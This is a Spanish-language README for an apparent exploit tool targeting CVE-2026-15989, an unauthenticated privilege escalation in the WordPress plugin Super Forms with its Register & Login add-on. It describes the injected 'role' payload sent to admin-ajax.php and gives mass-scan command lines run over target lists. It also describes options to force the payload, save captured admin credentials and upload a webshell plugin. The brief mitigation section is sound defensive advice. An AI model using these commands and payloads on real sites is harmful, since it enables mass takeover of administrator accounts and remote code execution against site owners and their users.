CVE-2026-15989 — Super Forms ≤ 6.3.316 — PoC de escalada de privilegios no autenticada

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — escalada de privilegios no autenticada a través del parámetro role del add-on premium Register & Login.

📋 Descripción general de la vulnerabilidad

Atributo	Detalles
CVE ID	CVE-2026-15989
Cadena	formulario de registro → `'role'` en `$other_userdata` → `wp_insert_user(role=administrator)` → ADMIN
Severidad	🔴 CRÍTICA (CVSS 9.8)
Objetivo	Super Forms – Drag & Drop Form Builder + add-on premium Register & Login
Afectados	≤ 6.3.316 (core) — builds del add-on vulnerables (v1.x)
Corregido	6.3.317
Autenticación requerida	Ninguna

🔍 Descripción técnica

El add-on establece el rol del nuevo usuario desde la configuración del formulario ($userdata['role'] = $settings['register_user_role']), luego recorre $other_userdata — que contiene 'role' — y sobrescribe cualquier clave con el valor proporcionado por el cliente ($data['role']['value']) antes de llamar a wp_insert_user().

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

Corrección (6.3.317): 'role' eliminado de la lista blanca + get_safe_public_registration_role() (fail-closed).

Investigación original — protocolo de doble envío: el core cambió de protocolo en la v5.0.0.

Core	Acción	Formato de datos	Nonce
4.x	`super_send_email`	campos anidados (`data[role][value]=...`)	ninguno (comprobaciones comentadas)
5.x/6.x	`super_submit_form`	cadena JSON	`sf_nonce` vía `super_create_nonce`

La herramienta selecciona el protocolo automáticamente según la versión detectada.

🚀 Uso

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

Opción	Descripción
`--list FILE`	Un objetivo por línea; `URL\|form_id` o `URL\|form_id=ID,email=X` por línea
`-u/--target`, `--port`	Objetivo único
`--threads`, `--timeout`, `--no-dedup`	Ajuste del modo masivo
`--force`	Dispara el payload incluso sin un formulario de registro detectado
`--only-hits` / `--quiet`	Árboles solo para objetivos confirmados / salida mínima
`--reset`	finalización del modo verify vía lost-password (el operador pega el enlace de restablecimiento)
`--only-login`	Omite el registro; inicia sesión y comprueba el rol vía `users/me`
`--login` / `--rce`	Post-explotación en objetivo real: prueba de login / subida de plugin webshell
`-k/--insecure`	Ignorar TLS

📊 Salida

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

hits.txt — solo objetivos confirmados (ts|url|status|detail, con usuario/contraseña)
barra con ETA + contadores por estado; cada fase imprime el motivo real en caso de fallo (WAF, crash, formulario solo de login, protocolo incorrecto...)

⚙️ Características

Doble protocolo (4.x datos anidados / 5+ JSON+nonce) — seleccionado automáticamente por versión
Detección de versión: readme.txt Stable tag + common.js?ver=; sonda del add-on + su propia versión
Descubrimiento de formularios de registro: rutas comunes + sitemap.xml/wp-sitemap.xml/sitemap_index + enlaces de la home
Autorrelleno de campos obligatorios (incluidos ocultos/condicionales)
"already exists" → prueba de login directa de la cuenta existente
Control de crash: reenvía el formulario sin el rol inyectado para distinguir problemas del lado del servidor de crashes provocados por la inyección
Prueba autoritativa de admin vía /wp-json/wp/v2/users/me?context=edit (fallback: users.php / dashboard)

📁 Estructura de archivos

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Aviso legal

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigación

Actualiza Super Forms a 6.3.317 (o posterior) y rota cualquier credencial filtrada
Mantén actualizado el add-on Register & Login (tiene su propio ciclo de versiones)
Elimina/deshabilita los formularios de registro publicados cuando no sean necesarios
Audita los usuarios de wp-admin/ en busca de cuentas de administrador inesperadas

👤 Autor

fl0ydsec (Floydroot)

_{Security Research}

CVE-2026-15989

Más Populares